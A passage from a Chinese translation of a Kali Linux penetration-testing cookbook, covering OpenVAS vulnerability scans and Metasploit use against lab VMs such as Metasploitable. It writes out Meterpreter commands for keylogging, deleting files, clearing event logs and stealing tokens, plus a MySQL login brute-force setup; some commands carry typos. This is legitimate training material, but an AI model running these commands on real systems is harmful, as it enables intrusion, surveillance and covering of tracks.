按下`Ctrl + F`并在查找框中输入`Local`。 719 | 720 | 8. 对于每个找到的本地族,点击` Select all NVT's `框中的复选框。族是一组漏洞。选择的漏洞为: 721 | 722 | + `Compliance` 723 | + `Credentials` 724 | + `Default Accounts` 725 | + `Denial of Service` 726 | + `FTP` 727 | + `Ubuntu Local Security Checks` 728 | 729 | ![](img/5-7-4.jpg) 730 | 731 | 9. 点击`Save Config`。 732 | 733 | 0. 访问`Configuration | Targets`: 734 | 735 | ![](img/5-7-5.jpg) 736 | 737 | 1. 创建新的目标并执行下列操作: 738 | 739 | 1. 输入目标名称。 740 | 741 | 2. 输入主机,通过下列方式之一: 742 | 743 | + 输入唯一的地址:`192.168.0.10 ` 744 | 745 | + 输入多个地址,以逗号分隔:`192.168.0.10,192.168.0.115` 746 | 747 | + 输入地址范围:`192.168.0.1-20` 748 | 749 | 2. 点击` Create Target`。 750 | 751 | 3. 现在选择` Scan Management | New Task`,并执行下列操作: 752 | 753 | 1. 输入任务名称。 754 | 755 | 2. 输入注释(可选)。 756 | 757 | 3. 选择你的扫描配置。这里是` Local Vulnerabilities`。 758 | 759 | 4. 选择扫描目标。这里是`Local Network`。 760 | 761 | 5. 所有其他选项保留默认。 762 | 763 | 6. 点击` Create Task`。 764 | 765 | ![](img/5-7-6.jpg) 766 | 767 | 4. 现在访问` Scan Management | Tasks`。 768 | 769 | 5. 点击扫描旁边的播放按钮。这里是`Local Vulnerability Scan`: 770 | 771 | ![](img/5-7-7.jpg) 772 | 773 | ### 工作原理 774 | 775 | 这个秘籍中,我们启动 OpenVAS 并登入它的 Web 界面。之后我们配置了 OpenVAS 来搜索一系列本地漏洞。最后,我们选择了目标并完成了扫描。OpenVAS 之后扫描了目标系统上已知漏洞,包括我们的 NVT 版本。 776 | 777 | ### 更多 778 | 779 | 一旦执行了扫描,你可以通过查看报告来观察结果: 780 | 781 | 1. 访问` Scan Management | Tasks`。 782 | 783 | 2. 点击`Local Vulnerabilities Scan`旁边的放大镜图标: 784 | 785 | ![](img/5-7-8.jpg) 786 | 787 | 3. 点击下载箭头来查看报告: 788 | 789 | ![](img/5-7-9.jpg) 790 | 791 | ## 5.8 OpenVAS - 发现网络漏洞 792 | 793 | 在这个秘籍中,我们将要使用 OpenVAS 扫描目标上的网络漏洞,这些漏洞针对我们目标网络上的设备。 794 | 795 | ### 准备 796 | 797 | 为了完成这个秘籍,你需要被测试的虚拟机。 798 | 799 | + Windows XP 800 | + Windows 7 801 | + Metasploitable 2.0 802 | + 其它版本的 Linux 803 | 804 | ### 操作步骤 805 | 806 | 让我们以使用 OpenVAS 发现网络漏洞开始,首先打开 Firefox 浏览器: 807 | 808 | 1. 访问并登陆 OpenVAS。 809 | 810 | 2. 访问` Configuration | Scan Configs`。 811 | 812 | ![](img/5-8-1.jpg) 813 | 814 | 3. 输入扫描的名称。这个秘籍中,我们使用` Network Vulnerabilities`。 815 | 816 | 4. 我们选择`Empty, static and fast`选项。这个选项可以让我们从零开始并创建我们自己的配置。 817 | 818 | 5. 点击` Create Scan Config`: 819 | 820 | ![](img/5-8-2.jpg) 821 | 822 | 6. 我们现在打算编辑我们的扫描配置。点击` Network Vulnerabilities`旁边的扳手图标。 823 | 824 | 7. 按下`Ctrl + F`并在查找框中输入`Network `。 825 | 826 | 8. 对于每个找到的族,点击` Select all NVT's `框中的复选框。族是一组漏洞。选择的漏洞为: 827 | 828 | + `Brute force attacks` 829 | + `Buffer overflow` 830 | + `CISCO` 831 | + `Compliance` 832 | + `Credentials` 833 | + `Databases` 834 | + `Default Accounts` 835 | + `Denial of Service` 836 | + `FTP` 837 | + `Finger abuses` 838 | + `Firewalls` 839 | + `Gain a shell remotely` 840 | + `General` 841 | + `Malware` 842 | + `Netware` 843 | + `NMAP NSE` 844 | + `Peer-To-Peer File Sharing` 845 | + `Port Scanners` 846 | + `Privilege Escalation` 847 | + `Product Detection` 848 | + `RPC` 849 | + `Remote File Access` 850 | + `SMTP Problems` 851 | + `SNMP` 852 | + `Service detection` 853 | + `Settings` 854 | + `Wireless services` 855 | 856 | ![](img/5-8-3.jpg) 857 | 858 | 9. 点击`Save Config`。 859 | 860 | 0. 访问`Configuration | Targets`: 861 | 862 | ![](img/5-8-4.jpg) 863 | 864 | 1. 创建新的目标并执行下列操作: 865 | 866 | 1. 输入目标名称。 867 | 868 | 2. 输入主机,通过下列方式之一: 869 | 870 | + 输入唯一的地址:`192.168.0.10 ` 871 | 872 | + 输入多个地址,以逗号分隔:`192.168.0.10,192.168.0.115` 873 | 874 | + 输入地址范围:`192.168.0.1-20` 875 | 876 | 2. 点击` Create Target`。 877 | 878 | 3. 现在选择` Scan Management | New Task`,并执行下列操作: 879 | 880 | 1. 输入任务名称。 881 | 882 | 2. 输入注释(可选)。 883 | 884 | 3. 选择你的扫描配置。这里是` Network Vulnerabilities`。 885 | 886 | 4. 选择扫描目标。这里是`Local Network`。 887 | 888 | 5. 所有其他选项保留默认。 889 | 890 | 6. 点击` Create Task`。 891 | 892 | ![](img/5-8-5.jpg) 893 | 894 | 4. 现在访问` Scan Management | Tasks`。 895 | 896 | 5. 点击扫描旁边的播放按钮。这里是`Network Vulnerability Scan`: 897 | 898 | ### 工作原理 899 | 900 | 这个秘籍中,我们启动 OpenVAS 并登入它的 Web 界面。之后我们配置了 OpenVAS 来搜索一系列网络漏洞。最后,我们选择了目标并完成了扫描。OpenVAS 之后扫描了目标系统上已知漏洞,包括我们的 NVT 版本。 901 | 902 | ### 更多 903 | 904 | 一旦执行了扫描,你可以通过查看报告来观察结果: 905 | 906 | 1. 访问` Scan Management | Tasks`。 907 | 908 | 2. 点击`Network Vulnerabilities Scan`旁边的放大镜图标: 909 | 910 | 3. 点击下载箭头来查看报告: 911 | 912 | ![](img/5-8-6.jpg) 913 | 914 | ## 5.9 OpenVAS - 发现 Linux 特定漏洞 915 | 916 | 在这个秘籍中,我们将要使用 OpenVAS 扫描 Linux 漏洞,这些漏洞针对我们目标网络上的 Linux 主机。 917 | 918 | ### 准备 919 | 920 | 为了完成这个秘籍,你需要被测试的虚拟机。 921 | 922 | + Metasploitable 2.0 923 | + 其它版本的 Linux 924 | 925 | ### 操作步骤 926 | 927 | 让我们以使用 OpenVAS 发现 Linux 特定漏洞开始,首先打开 Firefox 浏览器: 928 | 929 | 1. 访问并登陆 OpenVAS。 930 | 931 | 2. 访问` Configuration | Scan Configs`。 932 | 933 | ![](img/5-9-1.jpg) 934 | 935 | 3. 输入扫描的名称。这个秘籍中,我们使用`Linux Vulnerabilities`。 936 | 937 | 4. 我们选择`Empty, static and fast`选项。这个选项可以让我们从零开始并创建我们自己的配置。 938 | 939 | 5. 点击` Create Scan Config`: 940 | 941 | ![](img/5-9-2.jpg) 942 | 943 | 6. 我们现在打算编辑我们的扫描配置。点击`Linux Vulnerabilities`旁边的扳手图标。 944 | 945 | 7. 按下`Ctrl + F`并在查找框中输入`Linux`。 946 | 947 | 8. 对于每个找到的族,点击` Select all NVT's `框中的复选框。族是一组漏洞。选择的漏洞为: 948 | 949 | + `Brute force attacks` 950 | + `Buffer overflow` 951 | + `Compliance` 952 | + `Credentials` 953 | + `Databases` 954 | + `Default Accounts` 955 | + `Denial of Service` 956 | + `FTP` 957 | + `Finger abuses` 958 | + `Gain a shell remotely` 959 | + `General` 960 | + `Malware` 961 | + `Netware` 962 | + `NMAP NSE` 963 | + `Port Scanners` 964 | + `Privilege Escalation` 965 | + `Product Detection` 966 | + `RPC` 967 | + `Remote File Access` 968 | + `SMTP Problems` 969 | + `SNMP` 970 | + `Service detection` 971 | + `Settings` 972 | + `Wireless services` 973 | + `Web Server` 974 | 975 | ![](img/5-9-3.jpg) 976 | 977 | 9. 点击`Save Config`。 978 | 979 | 0. 访问`Configuration | Targets`: 980 | 981 | 1. 创建新的目标并执行下列操作: 982 | 983 | 1. 输入目标名称。 984 | 985 | 2. 输入主机,通过下列方式之一: 986 | 987 | + 输入唯一的地址:`192.168.0.10 ` 988 | 989 | + 输入多个地址,以逗号分隔:`192.168.0.10,192.168.0.115` 990 | 991 | + 输入地址范围:`192.168.0.1-20` 992 | 993 | 2. 点击` Create Target`。 994 | 995 | 3. 现在选择` Scan Management | New Task`,并执行下列操作: 996 | 997 | 1. 输入任务名称。 998 | 999 | 2. 输入注释(可选)。 1000 | 1001 | 3. 选择你的扫描配置。这里是`Linux Vulnerabilities`。 1002 | 1003 | 4. 选择扫描目标。这里是`Local Network`。 1004 | 1005 | 5. 所有其他选项保留默认。 1006 | 1007 | 6. 点击` Create Task`。 1008 | 1009 | ![](img/5-9-4.jpg) 1010 | 1011 | 4. 现在访问` Scan Management | Tasks`。 1012 | 1013 | 5. 点击扫描旁边的播放按钮。这里是`Linux Vulnerability Scan`: 1014 | 1015 | ### 工作原理 1016 | 1017 | 这个秘籍中,我们启动 OpenVAS 并登入它的 Web 界面。之后我们配置了 OpenVAS 来搜索一系列 Linux 漏洞。最后,我们选择了目标并完成了扫描。OpenVAS 之后扫描了目标系统上已知漏洞,包括我们的 NVT 版本。 1018 | 1019 | ### 更多 1020 | 1021 | 一旦执行了扫描,你可以通过查看报告来观察结果: 1022 | 1023 | 1. 访问` Scan Management | Tasks`。 1024 | 1025 | 2. 点击`Linux Vulnerabilities Scan`旁边的放大镜图标: 1026 | 1027 | 3. 点击下载箭头来查看报告: 1028 | 1029 | ![](img/5-9-5.jpg) 1030 | 1031 | ## 5.10 OpenVAS - 发现 Windows 特定漏洞 1032 | 1033 | 在这个秘籍中,我们将要使用 OpenVAS 扫描 Windows 漏洞,这些漏洞针对我们目标网络上的 Windows 主机。 1034 | 1035 | ### 准备 1036 | 1037 | 为了完成这个秘籍,你需要被测试的虚拟机。 1038 | 1039 | + Windows XP 1040 | + Windows 7 1041 | 1042 | ### 操作步骤 1043 | 1044 | 让我们以使用 OpenVAS 发现 Windows 特定漏洞开始,首先打开 Firefox 浏览器: 1045 | 1046 | 1. 访问并登陆 OpenVAS。 1047 | 1048 | 2. 访问` Configuration | Scan Configs`。 1049 | 1050 | ![](img/5-10-1.jpg) 1051 | 1052 | 3. 输入扫描的名称。这个秘籍中,我们使用`Windows Vulnerabilities`。 1053 | 1054 | 4. 我们选择`Empty, static and fast`选项。这个选项可以让我们从零开始并创建我们自己的配置。 1055 | 1056 | 5. 点击` Create Scan Config`: 1057 | 1058 | ![](img/5-10-2.jpg) 1059 | 1060 | 6. 我们现在打算编辑我们的扫描配置。点击`Windows Vulnerabilities`旁边的扳手图标。 1061 | 1062 | 7. 按下`Ctrl + F`并在查找框中输入`Windows`。 1063 | 1064 | 8. 对于每个找到的族,点击` Select all NVT's `框中的复选框。族是一组漏洞。选择的漏洞为: 1065 | 1066 | + `Brute force attacks` 1067 | + `Buffer overflow` 1068 | + `Compliance` 1069 | + `Credentials` 1070 | + `Databases` 1071 | + `Default Accounts` 1072 | + `Denial of Service` 1073 | + `FTP` 1074 | + `Gain a shell remotely` 1075 | + `General` 1076 | + `Malware` 1077 | + `NMAP NSE` 1078 | + `Port Scanners` 1079 | + `Privilege Escalation` 1080 | + `Product Detection` 1081 | + `RPC` 1082 | + `Remote File Access` 1083 | + `SMTP Problems` 1084 | + `SNMP` 1085 | + `Service detection` 1086 | + `Web Server` 1087 | + `Windows` 1088 | + `Windows: Microsoft Bulletins` 1089 | 1090 | ![](img/5-10-3.jpg) 1091 | 1092 | 9. 点击`Save Config`。 1093 | 1094 | 0. 访问`Configuration | Targets`: 1095 | 1096 | ![](img/5-10-5.jpg) 1097 | 1098 | 1. 创建新的目标并执行下列操作: 1099 | 1100 | 1. 输入目标名称。 1101 | 1102 | 2. 输入主机,通过下列方式之一: 1103 | 1104 | + 输入唯一的地址:`192.168.0.10 ` 1105 | 1106 | + 输入多个地址,以逗号分隔:`192.168.0.10,192.168.0.115` 1107 | 1108 | + 输入地址范围:`192.168.0.1-20` 1109 | 1110 | 2. 点击` Create Target`。 1111 | 1112 | 3. 现在选择` Scan Management | New Task`,并执行下列操作: 1113 | 1114 | 1. 输入任务名称。 1115 | 1116 | 2. 输入注释(可选)。 1117 | 1118 | 3. 选择你的扫描配置。这里是`Windows Vulnerabilities`。 1119 | 1120 | 4. 选择扫描目标。这里是`Local Network`。 1121 | 1122 | 5. 所有其他选项保留默认。 1123 | 1124 | 6. 点击` Create Task`。 1125 | 1126 | ![](img/5-10-4.jpg) 1127 | 1128 | 4. 现在访问` Scan Management | Tasks`。 1129 | 1130 | 5. 点击扫描旁边的播放按钮。这里是`Windows Vulnerability Scan`: 1131 | 1132 | ### 工作原理 1133 | 1134 | 这个秘籍中,我们启动 OpenVAS 并登入它的 Web 界面。之后我们配置了 OpenVAS 来搜索一系列 Windows 漏洞。最后,我们选择了目标并完成了扫描。OpenVAS 之后扫描了目标系统上已知漏洞,包括我们的 NVT 版本。 1135 | 1136 | ### 更多 1137 | 1138 | 一旦执行了扫描,你可以通过查看报告来观察结果: 1139 | 1140 | 1. 访问` Scan Management | Tasks`。 1141 | 1142 | 2. 点击`Windows Vulnerabilities Scan`旁边的放大镜图标: 1143 | 1144 | 3. 点击下载箭头来查看报告: 1145 | 1146 | ![](img/5-9-5.jpg) 1147 | -------------------------------------------------------------------------------- /ch6.md: -------------------------------------------------------------------------------- 1 | # 第六章 漏洞利用 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 一旦我们完成了漏洞扫描步骤,我们就了解了必要的知识来尝试利用目标系统上的漏洞。这一章中,我们会使用不同的工具来操作,包括系统测试的瑞士军刀 Metasploit。 12 | 13 | ## 6.1 安装和配置 Metasploitable 14 | 15 | 这个秘籍中,我们会安装、配置和启动 Metasploitable 2。 Metasploitable 是基于 Linux 的操作系统,拥有多种可被 Metasploit 攻击的漏洞。它由 Rapid7 (Metasploit 框架的所有者)设计。Metasploitable 是个熟悉 Meterpreter 用法的极好方式。 16 | 17 | ### 准备 18 | 19 | 为了执行这个秘籍,我们需要下列东西: 20 | 21 | + 互联网连接 22 | 23 | + VirtualBox PC 上的可用空间 24 | 25 | + 解压缩工具(这里我们使用 Windows 上的 7-Zip) 26 | 27 | ### 操作步骤 28 | 29 | 让我们开始下载 Metasploitable 2。最安全的选择是从 SourceForge 获取下载包: 30 | 31 | 1. 从这个链接下载 Metasploitable 2:。 32 | 33 | 2. 将文件包括到硬盘的某个位置。 34 | 35 | 3. 解压文件。 36 | 37 | 4. 将文件夹内容放到你储存虚拟磁盘文件的位置。 38 | 39 | 5. 打开 VirtualBox 并点击`New`按钮: 40 | 41 | ![](img/6-1-1.jpg) 42 | 43 | 6. 点击`Next`。 44 | 45 | ![](img/6-1-2.jpg) 46 | 47 | 7. 输入 Metasploitable 2 的名称并将`Operating System: `选择为`Linux`,`Version: `选项`Ubuntu`。像下面的截图那样点击`Next`。 48 | 49 | ![](img/6-1-3.jpg) 50 | 51 | 8. 如果可用的话,选择 `512 MB`,并点击`Next`。 52 | 53 | ![](img/6-1-4.jpg) 54 | 55 | 9. 选项现有磁盘,并从你下载和保存 Metasploitable 2 文件夹的地方选择 VDMK 文件。 56 | 57 | ![](img/6-1-5.jpg) 58 | 59 | 0. 你的虚拟磁盘窗口会像下面的截图那样。在这个示例中,我们完全不需要更新磁盘空间。这是因为使用 Metasploitable 的时候,你会攻击这个系统,而并不是将它用作操作系统。 60 | 61 | ![](img/6-1-6.jpg) 62 | 63 | 1. 点击`Create`。 64 | 65 | ![](img/6-1-7.jpg) 66 | 67 | 2. 通过点击 Metasploitable 2 的名称和`Start`按钮来启动它。 68 | 69 | ### 工作原理 70 | 71 | 这个秘籍中,我们在 Virtualbox 中配置了 Metasploitable 2。我们以从`Sourceforge.net`下载 Metasploitable 开始这个秘籍,之后我们配置了 VDMK 来在 VirtualBox 中运行并以启动该系统结束。 72 | 73 | ## 6.2 掌握 Armitage,Metasploit 的图形管理工具 74 | 75 | 新版本的 Metasploit 使用叫做 Armitage 的图形化前端工具。理解 Armitage 非常重要,因为它通过提供可视化的信息,使你对 Metasploit 的使用变得简单。它封装了 Metasploit 控制台,并且通过使用它的列表功能,你可以一次看到比 Metasploit 控制台或 Meterpreter 会话更多的内容。 76 | 77 | ### 准备 78 | 79 | 需要互联网或内部网络的连接。 80 | 81 | ### 操作步骤 82 | 83 | 让我们开始操作 Armitage: 84 | 85 | 1. 从桌面上访问`Start | Kali Linux | Exploitation Tools | Network Exploitation Tools | Armitage`。 86 | 87 | ![](img/6-2-1.jpg) 88 | 89 | 2. 在 Armitage的登录界面中,点击`Connect`(连接)按钮。 90 | 91 | ![](img/6-2-2.jpg) 92 | 93 | 3. Armitage 可能需要一些时间来连接 Metasploit。当它完成时,你可能看见下面的提示窗口。不要惊慌,一旦 Armitage 能够连接时,它会消失的。在` Start Metaspoit?`界面,点击`Yes`: 94 | 95 | ![](img/6-2-3.jpg) 96 | 97 | 4. 随后你会看到 Armitage 的主窗口。我们现在讨论主窗口的三个区域(标记为`A`、`B`和`C`,在下面的截图中)。 98 | 99 | + `A`:这个区域展示了预先配置的模块。你可以通过模块列表下面的搜索框来搜索。 100 | 101 | + `B`:这个区域展示了你的活动目标,我们能够利用它的漏洞。 102 | 103 | + `C`:这个区域展示了多个 Metasploit 标签页。它允许多个 Meterpreter 或控制台会话同时运行和展示。 104 | 105 | ![](img/6-2-4.jpg) 106 | 107 | > 启动 Armitage 的一个自动化方式就是在终端窗口中键入下列命令。 108 | 109 | > ``` 110 | > armitage 111 | > ``` 112 | 113 | ### 另见 114 | 115 | 为了了解更多 Meterpreter 的信息,请见“掌握 Meterpreter”一节。 116 | 117 | ## 6.3 掌握 Metasploit 控制台(MSFCONSOLE) 118 | 119 | 这个秘籍中,我们会研究 Metasploit 控制台(MSFCONSOLE)。MSFCONSOLE主要用于管理 Metasploit 数据库,管理会话以及配置和启动 Metasploit 模块。本质上,出于利用漏洞的目的,MSFCONSOLE 能够让你连接到主机,便于你利用它的漏洞。 120 | 121 | 你可以使用以下命令来和控制台交互: 122 | 123 | + `help`:这个命令允许你查看你尝试运行的命令行的帮助文档。 124 | 125 | + `use module`:这个命令允许你开始配置所选择的模块。 126 | 127 | + `set optionname module`:这个命令允许你为指定的模块配置不同的选项。 128 | 129 | + `exploit`:这个命令启动漏洞利用模块。 130 | 131 | + `run`:这个命令启动非漏洞利用模块。 132 | 133 | + `search module`:这个命令允许你搜索独立模块。 134 | 135 | + `exit`:这个命令允许你退出 MSFCONSOLE。 136 | 137 | ### 准备 138 | 139 | 需要互联网或内部网络的连接。 140 | 141 | ### 操作步骤 142 | 143 | 让我们开始探索 MSFCONSOLE: 144 | 145 | 1. 打开命令行。 146 | 147 | 2. 通过下列命令启动 MSFCONSOLE: 148 | 149 | ``` 150 | msfconsole 151 | ``` 152 | 153 | 3. 通过`search`命令搜索所有可用的 Linux 模块。每次我们打算执行操作时,都搜索一遍模块通常是个好主意。主要因为在 Metasploit 的不同版本之间,模块路径可能发生改变。 154 | 155 | ``` 156 | search linux 157 | ``` 158 | 159 | ![](img/6-3-1.jpg) 160 | 161 | 4. 使用 John the Ripper Linux 密码破解模块。 162 | 163 | ``` 164 | use auxiliary/analyzse/jtr_linux 165 | ``` 166 | 167 | ![](img/6-3-2.jpg) 168 | 169 | 5. 通过下列命令展示该模块的可用选项。 170 | 171 | ``` 172 | show options 173 | ``` 174 | 175 | ![](img/6-3-3.jpg) 176 | 177 | 6. 既然我们列出了可以对这个模块使用的选项,我们可以使用`set`命令来设置独立选项。让我们设置`JOHN_PATH`选项: 178 | 179 | ``` 180 | set JOHN_PATH /usr/share/metasploit-framework/data/john/wordlists/ password.lst 181 | ``` 182 | 183 | 7. 现在执行漏洞利用,我们需要输入`exploit`命令: 184 | 185 | ``` 186 | exploit 187 | ``` 188 | 189 | ### 更多 190 | 191 | 一旦你通过 MSFCONSOLE 获得了主机的访问,你需要使用 Meterpreter 来分发载荷。MSFCONSOLE 可以管理你的回话,而 Meterpreter 执行实际的载荷分发和漏洞利用工作。 192 | 193 | ## 6.4 掌握 Metasploit CLI(MSFCLI) 194 | 195 | 这个秘籍中,我们会探索 Metasploit CLI(MSFCLI)。Metasploit 需要接口来执行它的任务。MSFCLI 就是这样的接口。它是一个极好的接口,用于学习 Metasploit ,或测试/编写新的漏洞利用。它也可用于脚本的情况中,并且对任务使用基本的自动化。 196 | 197 | 使用 MSFCLI 的一个主要问题是,你只能够一次打开一个 shell。你也会注意到,当我们探索一些命令的时候,它比 MSFCONSOLE 慢并且复杂。最后,你需要知道你打算利用的具体漏洞来使用 MSFCLI。这会使它对于渗透测试新手有些难以使用,他们并不熟悉 Metasploit 漏洞利用列表。 198 | 199 | MSFCLI 的一些命令是: 200 | 201 | + `msfcli`:这会加载 MSFCLI 可访问的所有可用漏洞利用列表。 202 | 203 | + `msfcli -h`:显示 MSFCLI 的帮助文档。 204 | 205 | + `msfcli [PATH TO EXPLOIT] [options = value]`:这是执行漏洞利用的语法。 206 | 207 | ### 准备 208 | 209 | 需要互联网或内部网络的连接。 210 | 211 | ### 操作步骤 212 | 213 | 让我们开始探索 MSFCLI: 214 | 215 | 1. 使用下列命令启动 Metasploit CLI (MSFCLI)。请耐心等待,因为这可能花一些时间,取决于你的系统速度。同时注意当 MSFCLI 加载完成时,会显示可用的漏洞利用列表。 216 | 217 | ``` 218 | msfcli 219 | ``` 220 | 221 | ![](img/6-4-1.jpg) 222 | 223 | 2. 显示 MSFCLI 帮助文档: 224 | 225 | ``` 226 | msfcli -h 227 | ``` 228 | 229 | ![](img/6-4-2.jpg) 230 | 231 | 3. 出于我们的演示目的,我们会执行圣诞树扫描( Christmas Tree Scan)。我们会选择选项 A 来显示模块高级选项。 232 | 233 | ``` 234 | msfcli auxiliary/scanner/portscan/xmas A 235 | ``` 236 | 237 | > 更多圣诞树扫描的信息,请见下面的 URL:。 238 | 239 | ![](img/6-4-3.jpg) 240 | 241 | 4. 此外,你可以列出当前模块的概览,通过使用`S`模式。概览模式是一个极好方式,来查看可用于当前尝试执行的漏洞利用的所有选项。许多选项都是可选的,但是一小部分通常是必须的,它们允许你设置尝试利用哪个目标或端口的漏洞。 242 | 243 | ``` 244 | msfcli auxiliary/scanner/portscan/xmas S 245 | ``` 246 | 247 | ![](img/6-4-4.jpg) 248 | 249 | 5. 为了展示可用于此次漏洞利用的选项列表,我们使用`O`模式。选项使用中配置漏洞利用模块的方式。每个利用模块都用不同的选项集合(或者什么都没有)。任何所需的选项必须在漏洞利用执行之前设置。在下面的截图中,你会注意到许多所需选项都设为默认。如果你碰到了这种情况,你就不需要更新选项的值,除非你打算修改它。 250 | 251 | ``` 252 | msfcli auxiliary/scanner/portscan/xmas O 253 | ``` 254 | 255 | ![](img/6-4-5.jpg) 256 | 257 | 6. 我们使用`E`模式来执行漏洞利用。 258 | 259 | ``` 260 | msfcli auxiliary/scanner/portscan/xmas E 261 | ``` 262 | 263 | > 这里,我们使用了默认选项。 264 | 265 | ### 工作原理 266 | 267 | 这个秘籍中,我们以启动 MSFCLI 开始,之后搜索可用的模块,并执行该模块。在搜索的过程中,我们选修了圣诞树扫描模块并复查了 MSFCLI 界面来查看模块概览和所有可用选项。在设置完所有选项之后,我们执行了漏洞利用。 268 | 269 | 了解 Metasploit 框架分为三个不同的部分非常重要。这些部分是: 270 | 271 | + 漏洞:这些都是弱点,要么已知要么位置。它们包含在特定的应用、阮家宝或协议中。在 Metasploit 中,漏洞按照分组,和漏洞利用列出,漏洞利用可以攻击列在它们下面的漏洞。 272 | 273 | + 漏洞利用:漏洞利用是用来利用所发现漏洞的模块。 274 | 275 | + 载荷:一旦成功执行了漏洞利用,必须把载荷传给被攻击的机器,以便允许我们创建 shell,运行各种命令,添加用户以及其它。 276 | 277 | 一旦你通过 MSFCONSOLE 获得了主机的访问,你需要使用 Meterpreter 来分发载荷。MSFCONSOLE 可以管理你的会话,而 Meterpreter 执行实际的载荷分发和漏洞利用工作。 278 | 279 | ## 6.5 掌握 Meterpreter 280 | 281 | 一旦你使用 Armitage,MSFCLI 或 MSFCONSOLE 获得了主机的访问权,你必须使用 Meterpreter 来传递你的载荷。MSFCONSOLE 可以管理你的会话,而 Meterpreter 执行实际的载荷分发和漏洞利用工作。 282 | 283 | 一些用于 Meterpreter 的常用命令包括: 284 | 285 | + `help`:这个命令允许你浏览帮助文档。 286 | 287 | + `background`:这个命令允许你在后台运行 Meterpreter 会话。这个命令也能为你带回 MSF 提示符。 288 | 289 | + `download`:这个命令允许你从受害者机器中下载文件。 290 | 291 | + `upload`:这个命令允许你向受害者机器上传文件。 292 | 293 | + `execute`:这个命令允许你在受害者机器上运行命令。 294 | 295 | + `shell`:这个命令允许你在受害者机器上运行 Windows shell 提示符(仅限于 Windows 主机)。 296 | 297 | + `session -i`:这个命令允许你在会话之间切换。 298 | 299 | ### 准备 300 | 301 | 需要满足下列要求: 302 | 303 | + 内部网络或互联网的连接。 304 | 305 | + 使用 Armitage,MSFCLI 或 MSFCONSOLE 由 Metasploit 创建好的,目标系统的活动会话。 306 | 307 | ### 操作步骤 308 | 309 | 让我们打开 MSFCONSOLE 来开始: 310 | 311 | 1. 首先我们以 MSFCONSOLE 中展示的活动会话开始。 312 | 313 | 2. 开始记录目标系统中用户的击键顺序: 314 | 315 | ``` 316 | keyscan_start 317 | ``` 318 | 319 | 3. 转储目标系统中用户的击键顺序。击键顺序会显示在屏幕上: 320 | 321 | ``` 322 | keyscan_dump 323 | ``` 324 | 325 | 4. 停止记录目标系统中用户的击键顺序。 326 | 327 | ``` 328 | keyscan_stop 329 | ``` 330 | 331 | 5. 删除目标系统中的文件。 332 | 333 | ``` 334 | del exploited.docx 335 | ``` 336 | 337 | 6. 清除目标系统中的事件日志。 338 | 339 | ``` 340 | clearav 341 | ``` 342 | 343 | 7. 展示运行进程的列表。 344 | 345 | ``` 346 | ps 347 | ``` 348 | 349 | 8. 杀掉受害者系统的指定进程,使用`kill [pid]`语法。 350 | 351 | ``` 352 | kill 6353 353 | ``` 354 | 355 | 9. 尝试偷取目标系统上的模拟令牌。 356 | 357 | ``` 358 | steal_token 359 | ``` 360 | 361 | ### 工作原理 362 | 363 | 我们以通过 Armitage,MSFCLI 或 MSFCONSOLE 预先建立的 Meterpreter 会话来开始。之后我们在目标机器上运行了多种命令。 364 | 365 | ### 更多 366 | 367 | 当我们对基于 Linux 主机使用 Meterpreter 的时候,我们能够在它上面运行 Linux 命令,就像我们操作这台机器那样。 368 | 369 | ## 6.6 Metasploitable MySQL 370 | 371 | 这个秘籍中,我们会探索如何使用 Metasploit 来攻击 MySQL 数据库服务器,使用 MySQL 扫描器模块。MySQL 是许多网站平台的选择,包括 Drupal 和 Wordpress,许多网站当前正在使用 MySQL 数据库服务器。这会使它们更容易成为 Metasploitable MySQL 攻击的目标。 372 | 373 | ### 准备 374 | 375 | 需要满足下列要求: 376 | 377 | + 内部网络的连接。 378 | 379 | + 运行在渗透环境中的 Metasploitable 。 380 | 381 | + 用于执行字典攻击的单词列表。 382 | 383 | ### 操作步骤 384 | 385 | 让我们通过打开终端窗口来开始 MySQL 攻击: 386 | 387 | 1. 打开终端窗口。 388 | 389 | 2. 启动 MSFCONSOLE。 390 | 391 | ``` 392 | msfconsole 393 | ``` 394 | 395 | 3. 搜索可用的 MySQL 模块。 396 | 397 | ``` 398 | msfconsole mysql 399 | ``` 400 | 401 | ![](img/6-6-1.jpg) 402 | 403 | 4. 使用 MySQL 扫描器模块。 404 | 405 | ``` 406 | use auxiliary/scanner/mysql/mysql_login 407 | ``` 408 | 409 | ![](img/6-6-2.jpg) 410 | 411 | 5. 显示模块的可用选项。 412 | 413 | ``` 414 | show options 415 | ``` 416 | 417 | ![](img/6-6-3.jpg) 418 | 419 | 6. 将 RHOST 设置为 Metasploitable 2 主机或目标主机的地址。 420 | 421 | ``` 422 | set RHOST 192.168.10.111 423 | ``` 424 | 425 | 7. 设置用户名文件的位置。你可以选择: 426 | 427 | ``` 428 | set user_file /root/Desktop/usernames.txt 429 | ``` 430 | 431 | 8. 设置密码文件的位置。你可以选择: 432 | 433 | ``` 434 | set pass_file /root/Desktop/passwords.txt 435 | ``` 436 | 437 | 9. 执行漏洞利用: 438 | 439 | ``` 440 | Exploit 441 | ``` 442 | 443 | ![](img/6-6-4.jpg) 444 | 445 | 0. Metasploit 会尝试输入包含在两个文件中的所有用户名和密码组合。找到生效的登录和密码组合旁边的`+`符号就可以了。 446 | 447 | ### 工作原理 448 | 449 | 这个秘籍中,我们使用 Metasploit 的 MSFCONSOLE 来利用 Metasploitable 2 靶机上的 MySQL 漏洞。我们以启动控制台并搜索所有已知的 MySQL 模块来开始。在选择 MySQL 登录利用模块之后,我们设置了选项并执行了漏洞利用,这让我们能够爆破 MySQL 登录。Metasploit 使用提供的用户名和密码文件。并尝试爆破 MySQL 数据库。 450 | 451 | ### 更多 452 | 453 | 这个秘籍中,我们使用了自己生成的用户名和密码文件。有许多方法可以生成用户名和密码单词列表,这些方法在第八章中涉及。 454 | 455 | ## 6.7 Metasploitable PostgreSQL 456 | 457 | 这个秘籍中,我们会探索如何使用 Metasploit 来攻击 PostgreSQL 数据库服务器,使用 PostgreSQL 扫描器模块。PostgreSQL 被誉为全世界最先进的开源数据库,许多爱好者声称它是企业级的数据库。我们会使用 Metasploit 来爆破 PostgreSQL 登录。 458 | 459 | ### 准备 460 | 461 | 需要满足下列要求: 462 | 463 | + 内部网络的连接。 464 | 465 | + 运行在渗透环境中的 Metasploitable 。 466 | 467 | + 用于执行字典攻击的单词列表。 468 | 469 | ### 操作步骤 470 | 471 | 让我们通过打开终端窗口来开始 